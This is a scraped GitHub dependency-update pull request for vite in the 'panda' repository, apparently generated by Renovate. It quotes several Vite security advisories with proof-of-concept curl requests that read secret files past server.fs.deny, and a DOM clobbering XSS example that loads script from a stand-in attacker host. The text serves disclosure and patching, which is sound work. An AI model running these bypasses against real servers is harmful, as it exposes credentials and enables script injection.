panda
panda copied to clipboard
chore(deps): update dependency vite [security]
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| vite (source) | 3.2.10 -> 3.2.11 |
||||
| vite (source) | 4.5.3 -> 4.5.5 |
GitHub Vulnerability Alerts
CVE-2023-34092
The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.
Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your vite.config.js file, review and update the server configuration options to restrict access to unauthorized requests or directories.
Impact
Only users explicitly exposing the Vite dev server to the network (using --host or the server.host config option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.
Details
Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g: //.env, //.env.local)\n4. The server option fs.deny was successfully bypassed.
Proof Images:
\n
CVE-2024-23331
Summary
Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.
This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in [email protected], [email protected], [email protected], [email protected]
Details
Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.
See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632
By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.
PoC
Setup
- Created vanilla Vite project using
npm create vite@lateston a Standard Azure hosted Windows 10 instance.npm run dev -- --host 0.0.0.0- Publicly accessible for the time being here: http://20.12.242.81:5173/
- Created dummy secret files, e.g.
custom.secretandproduction.pem - Populated
vite.config.jswith
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }
Reproduction
curl -s http://20.12.242.81:5173/@​fs//- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@​fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@​fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT- Secrets are directly accessible using case-augmented version of filename
Proof

Impact
Who
- Users with exposed dev servers on environments with case-insensitive filesystems
What
- Files protected by
server.fs.denyare both discoverable, and accessible
CVE-2024-31207
Summary
Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.
Impact
Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Patches
Fixed in [email protected], [email protected], [email protected], [email protected], [email protected], [email protected]
Details
server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (https://github.com/micromatch/picomatch/issues/89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.
Reproduction
Set fs.deny to ['**/.git/**'] and then curl for /.git/config.
- with
matchBase: true, you can get any file under.git/(config, HEAD, etc). - with
matchBase: false, you cannot get any file under.git/(config, HEAD, etc).
CVE-2024-45811
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.
PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@​fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
CVE-2024-45812
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
Note that, we have identified similar security issues in Webpack: https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
const relativeUrlMechanisms = {
amd: (relativePath) => {
if (relativePath[0] !== ".") relativePath = "./" + relativePath;
return getResolveUrl(
`require.toUrl('${escapeId(relativePath)}'), document.baseURI`
);
},
cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
relativePath
)} : ${getRelativeUrlFromDocument(relativePath)})`,
es: (relativePath) => getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
),
iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
// NOTE: make sure rollup generate `module` params
system: (relativePath) => getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
),
umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
relativePath
)} : ${getRelativeUrlFromDocument(relativePath, true)})`
};
PoC
Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.
// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'
export default defineConfig({
build: {
assetsInlineLimit: 0, // To avoid inline assets for PoC
rollupOptions: {
output: {
format: "cjs"
},
},
},
base: "./",
});
After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);
Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>Vite Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>
Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.
Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
)
Release Notes
vitejs/vite (vite)
v3.2.11
Please refer to CHANGELOG.md for details.
v3.2.10
Please refer to CHANGELOG.md for details.
v3.2.8
Please refer to CHANGELOG.md for details.
v3.2.7
Please refer to CHANGELOG.md for details.
v3.2.6
- fix: escape msg in render restricted error html, backport (#β12889) (#β12892) (b48ac2a), closes #β12889 #β12892
v3.2.5
- chore: cherry pick more v4 bug fixes to v3 (#β11189) (eba9b42), closes #β11189 #β10949 #β11056 #β8663 #β10958 #β11120 #β11122 #β11123 #β11132
- chore: cherry pick v4 bug fix to v3 (#β11110) (c93a526), closes #β11110 #β10941 #β10987 #β10985 #β11067
- fix: relocated logger to respect config. (#β10787) (#β10967) (bc3b5a9), closes #β10787 #β10967
v3.2.4
- fix: prevent cache on optional package resolve (v3) (#β10812) (#β10845) (3ba45b9), closes #β10812 #β10845
- fix(ssr): skip optional peer dep resolve (v3) (#β10593) (#β10931) (7f59dcf), closes #β10593 #β10931 #β10593
v3.2.3
- refactor: change style.innerHTML to style.textContent (#β10801) (8ea71b4), closes #β10801
- fix: add
@types/nodeas an optional peer dependency (#β10757) (57916a4), closes #β10757 - fix: transform import.meta.glob when scan JS/TS #β10634 (#β10635) (c53ffec), closes #β10634 #β10635
- fix(css): url() with variable in sass/less (fixes #β3644, #β7651) (#β10741) (fa2e47f), closes #β3644 #β7651 #β10741
- feat: add
vite:afterUpdateevent (#β9810) (1f57f84), closes #β9810 - perf: improve
multilineCommentsREregex (fix #β10689) (#β10751) (51ed059), closes #β10689 #β10751 - perf: Use only one ps exec to find a Chromium browser opened on Mac OS (#β10588) (f199e90), closes #β10588
- chore: fix dev build replacing undefined (#β10740) (1358a3c), closes #β10740
- chore: remove non used type definitions (#β10738) (ee8c7a6), closes #β10738
- chore(deps): update dependency @βrollup/plugin-commonjs to v23 (#β10611) (cc4be70), closes #β10611
- chore(deps): update dependency @βrollup/plugin-dynamic-import-vars to v2 (#β10726) (326f782), closes #β10726
v3.2.2
- chore: remove src/client from package (#β10703) (816842e), closes #β10703
- chore(deps): update all non-major dependencies (#β10725) (22cfad8), closes #β10725
- fix: remove loaded input sourcemap (fixes #β8411) (#β10705) (eb50e3a), closes #β8411 #β10705
- fix: tsconfig
jsxoverrides esbuild options, reverts #β10374 (#β10714) (aacf6a4), closes #β10374 #β10714 - docs(changelog): fix broken url (#β10692) (f937ccc), closes #β10692
v3.2.1
- fix: prioritize existing env over .env (fixes #β10676) (#β10684) (e2ea6af), closes #β10676 #β10684
- fix: remove picomatch type import (fixes #β10656) (#β10678) (1128b4d), closes #β10656 #β10678
- fix(config): resolve externalized specifier with internal resolver (#β10683) (b15d21c)
- feat: Add support for imba in html scripts (#β10679) (b823fd6), closes #β10679
- chore: join URL segments more safely (#β10590) (675bf07), closes #β10590
- chore: update changelog for 3.2 (#β10646) (f787a60), closes #β10646
v3.2.0
Main Changes
Multiple Entries for Library Mode
Library mode now supports multiple entries:
lib: {
entry: {
primary: 'src/index.ts',
secondary: 'src/secondary.ts'
},
formats: ['es', 'cjs']
}
// => primary.es.js, primary.cjs.js, secondary.es.js, secondary.cjs.js
Check out the PR #β7047, and the build.lib config docs
build.modulePreload options
Vite now allows filtering and modifying module preload dependencies for each entry and async chunk. experimental.renderBuiltUrl will also get called for preload asset paths. And build.modulePreload.resolveDependencies will be called both for JS dynamic imports preload lists and also for HTML preload lists for chunks imported from entry HTML files. Refer to the PR for more context #β9938 and check out the modulePreload config docs. Note: build.modulePreloadPolyfill is now deprecated, please migrate to build.modulePreload.polyfill.
Include Duplicate Assets in the Manifest
Laravel and other backends integrations will now get entries for every asset file, even if they have been de-duplicated. See #β9928 for more information.
Customizable ErrorOverlay
You can now customize the ErrorOverlay by using css parts. Check out the PR for more details: #β10234.
Features
- feat(build): experimental copyPublicDir option (#β10550) (4f4a39f), closes #β10550
- feat(css): export preprocessCSS API (#β10429) (177b427), closes #β10429
- feat(preview): support outDir option (#β10418) (15b90b3), closes #β10418
- feat: include line and column in error format (#β10529) (d806c4a), closes #β10529
- feat: reuse opening tab in chromium browsers when start dev server (#β10485) (1a2e7a8), closes #β10485
- feat: update esbuild compilation affecting fields (#β10374) (f542727), closes #β10374
- feat(proxy): Include URL of request in proxy errors (#β10508) (27e2832), closes #β10508
- refactor: delete dependent pre built proxy modules (#β10427) (b3b388d), closes #β10427
- feat(server): invalidate module with hmr (#β10333) (8328011), closes #β10333
- feat: build.modulePreload options (#β9938) (e223f84), closes #β9938
- feat: customize ErrorOverlay (#β10234) (fe4dc8d), closes #β10234
- feat: dynamic import support ?url and ?worker (#β8261) (0cb01ca), closes #β8261
- feat: include duplicate assets in the manifest (#β9928) (42ecf37), closes #β9928
- feat: support import.meta.hot.invalidate (#β10244) (fb8ab16), closes #β10244
- feat: support postcss sugarss (#β6705) (8ede2f1), closes #β6705
- feat(assets): allow
new URLto resolve package assets (#β7837) (bafccf5), closes #β7837 - feat(client): add data-vite-dev-id attribute to style elements (#β10080) (ea09fde), closes #β10080
- feat(lib): allow multiple entries (#β7047) (65a0fad), closes #β7047
- feat(optimizer): Support bun lockfile format (#β10288) (931d69b), closes #β10288
- refactor(types): bundle client types (#β9966) (da632bf), closes #β9966
- refactor(types): simplify type exports (#β10243) (291174d), closes #β10243
- perf: cache compiled glob for
server.fs.deny(#β10044) (df560b0), closes #β10044
Bug Fixes
- fix: add a warning if css urls not exist during build time (fix #β9800) (#β10331) (9f268da), closes #β9800 #β10331
- fix: increase error overlay z-index (#β10603) (1157941), closes #β10603
- fix: revert es-module-lexer version (#β10614) (cffe5c9), closes #β10614
- fix: when the file path is an absolute path, parsing causes parameter loss (#β10449) (df86990), closes #β10449
- fix(config): resolve build options with fallback (#β10645) (f7021e3), closes #β10645
- fix(deps): update all non-major dependencies (#β10610) (bb95467), closes #β10610
- fix(hmr): cannot reload after missing import on server startup (#β9534) (#β10602) (ee7c28a), closes #β9534 #β10602
- fix(css): strip BOM (fixes #β10043) (#β10577) (e0463bd), closes #β10043 #β10577
- fix(ssr): resolve with isRequire true (#β10569) (7b81210), closes #β10569
- fix: prefer exports when resolving (#β10371) (3259006), closes #β10371
- fix(config): partial deno support (#β10446) (c4489ea), closes #β10446
- fix(config): skip resolve builtin modules (#β10420) (ecba3f8), closes #β10420
- fix(ssr): handle parallel hookNodeResolve (#β10401) (1a961d9), closes #β10401
- fix(cli): when the user enters the same command (#β10474) (2326f4a), closes #β10474
- fix(config): don't use module condition (
import.meta.resolve) (fixes #β10430) (#β10528) (64f19b9), closes #β10430 #β10528 - fix(css): remove
?directin id for postcss process (#β10514) (67e7bf2), closes #β10514 - fix(html): allow self closing on non-void elements (#β10478) (29292af), closes #β10478
- fix(legacy): restore entry chunk CSS inlining, reverts #β9761 (#β10496) (9cc808e), closes #β9761 #β10496
- chore: simplify filter plugin code (#β10459) (5d9b810), closes #β10459
- chore(deps): update all non-major dependencies (#β10488) (15aa827), closes #β10488
- chore: update magic-string (#β10364) (23c9259), closes #β10364
- chore(deps): update all non-major dependencies (#β10393) (f519423), closes #β10393
- chore(deps): update dependency @βrollup/plugin-alias to v4 (#β10394) (e2b4c8f), closes #β10394
- feat(lib): cjs instead of umd as default format for multiple entries (#β10315) (07d3fbd), closes #β10315
- fix: make client type work with
moduleResolution=node16(#β10375) (8c4df1f), closes #β10375 - fix(config): don't resolve by module field (#β10347) (cc1c829), closes #β10347
- fix(html): handle attrs with prefix (fixes #β10337) (#β10381) (7b4d6e8), closes #β10337 #β10381
- fix(ssr): track var as function scope (#β10388) (87b48f9), closes #β10388
- fix: add module types (#β10299) (0b89dd2), closes #β10299
- fix: css order problem in async chunk (#β9949) (6c7b834), closes #β9949
- fix: don't duplicate styles with dynamic import (fix #β9967) (#β9970) (65f97bd), closes #β9967 #β9970
- fix: env variables override (#β10113) (d619460), closes #β10113
- fix: isFromTsImporter flag in worker virtual model (#β10273) (78f74c9), closes #β10273
- fix: properly close optimizer on server restart (#β10028) (a32777f), closes #β10028
- fix: respect
mainFieldswhen resolving browser/module field (fixes #β8659) (#β10071) (533d13c), closes #β8659 #β10071 - fix: respect resolve.conditions, when resolving browser/require field (#β9860) (9a83eaf), closes #β9860
- fix: support process each out dir when there are two or more (#β9748) (ee3231c), closes #β9748
- fix(build): fix resolution algorithm when
build.ssris true (#β9989) (7229251), closes #β9989 - fix(config): resolve implicit deps as absolute path (#β10254) (ec1f3ae), closes #β10254
- fix(css): missing css in lib mode (#β10185) (e4c1c6d), closes #β10185
- fix(deps): update all non-major dependencies (#β10160) (6233c83), closes #β10160
- fix(deps): update all non-major dependencies (#β10316) (a38b450), closes #β10316
- fix(deps): update rollup to
^2.79.1(#β10298) (2266d83), closes #β10298 - fix(esbuild): transpile with esnext in dev (#β10207) (43b7b78), closes #β10207
- fix(hmr): handle virtual module update (#β10324) (7c4accb), closes #β10324
- fix(optimizer): browser field bare import (fix #β7599) (#β10314) (cba13e8), closes #β7599 #β10314
- fix(sass): reorder sass importers (#β10101) (a543731), closes #β10101
- fix(server): handle appType mpa html fallback (#β10336) (65dd88b), closes #β10336
- fix(ssr): correctly track scope (#β10300) (a60529f), closes #β10300
- fix(worker): support comment in worker constructor option (#β10226) (66c9058), closes #β10226
- fix(worker): support trailing comma (#β10211) (0542e7c), closes #β10211
Previous Changelogs
3.2.0-beta.4 (2022-10-24)
3.2.0-beta.3 (2022-10-20)
3.2.0-beta.2 (2022-10-14)
3.2.0-beta.1 (2022-10-10)
3.2.0-beta.0 (2022-10-05)
v3.1.8
Please refer to CHANGELOG.md for details.
v3.1.7
Please refer to CHANGELOG.md for details.
v3.1.6
Please refer to CHANGELOG.md for details.
v3.1.5
Please refer to CHANGELOG.md for details.
v3.1.4
Please refer to CHANGELOG.md for details.
v3.1.3
- fix: esbuildOutputFromId for symlinked root (#β10154) (fc5310f), closes #β10154
- fix(hmr): dedupe virtual modules in module graph (#β10144) (71f08e7), closes #β10144
- fix(lib): respect
rollupOptions.inputin lib mode (#β10116) (c948e7d), closes #β10116
v3.1.2
v3.1.1
- fix: ensure version query for relative node_modules imports (#β10016) (1b822d0), closes #β10016
- fix: no quote on attrs (#β10117) (f541239), closes #β10117
- fix: prevent error overlay style being overridden (fixes #β9969) (#β9971) (a7706d0), closes #β9969 #β9971
- fix: proxy to secured websocket server (#β10045) (9de9bc4), closes #β10045
- fix: replace white with reset (#β10104) (5d56e42), closes #β10104
- fix(deps): update all non-major dependencies (#β10077) (caf00c8), closes #β10077
- fix(deps): update all non-major dependencies (#β9985) (855f2f0), closes #β9985
- fix(preview): send configured headers (#β9976) (0d20eae), closes #β9976
- chore: cleanup old changelogs (#β10056) (9e65a41), closes #β10056
- chore: update 3.1 changelog (#β9994) (44dbcbe), closes #β9994
- chore(deps): update @βrollup/plugin-node-resolve to v14 (#β10078) (3390c87), closes #β10078
- refactor: config hook helper function (#β9982) (9c1be10), closes #β9982
- refactor: optimize
asyncandawaitin code (#β9854) (31f5ff3), closes #β9854
v3.1.0
Main Changes
- Vite now uses parse5, which parses HTML in the same way as the latest browser versions. This migration gives us a more robust HTML story moving forward (#β9678).
- Vite now supports using objects as hooks to change execution order (#β9634). Check out the RFC and the implementation upstream at rollup/rollup#4600 for details and rationale.
Read the updated [Rollup Pluginimport { resolve } from 'node:path'; import { readdir } from 'node:fs/promises'; export default function getFilesOnDisk() { return { name: 'getFilesOnDisk', writeBundle: { // run this hook sequentially even if the hook is parallel sequential: true, // push this hook to the 'post' stage, after all normal hooks order: 'post', // hook implementation async handler({ dir }) { const topLevelFiles = await readdir(resolve(dir)) console.log(topLevelFiles) } } } }
Configuration
π Schedule: Branch creation - "" in timezone UTC, Automerge - At any time (no schedule defined).
π¦ Automerge: Enabled.
β» Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
π» Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.
- [ ] If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
The latest updates on your projects. Learn more about Vercel for Git βοΈ
| Name | Status | Preview | Updated (UTC) |
|---|---|---|---|
| panda-docs | β Failed (Inspect) | Sep 27, 2024 7:50am | |
| panda-playground | β Failed (Inspect) | Sep 27, 2024 7:50am | |
| panda-studio | β Failed (Inspect) | Sep 27, 2024 7:50am |
β οΈ No Changeset found
Latest commit: d01a9d610d7c0139f25f046b33410ab7138887fa
Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.
This PR includes no changesets
When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types
Click here to learn what changesets are, and how to add one.
Click here if you're a maintainer who wants to add a changeset to this PR
Edited/Blocked Notification
Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.
You can manually request rebase by checking the rebase/retry box above.
β οΈ Warning: custom changes will be lost.
Autoclosing Skipped
This PR has been flagged for autoclosing. However, it is being skipped due to the branch being already modified. Please close/delete it manually or report a bug if you think this is in error.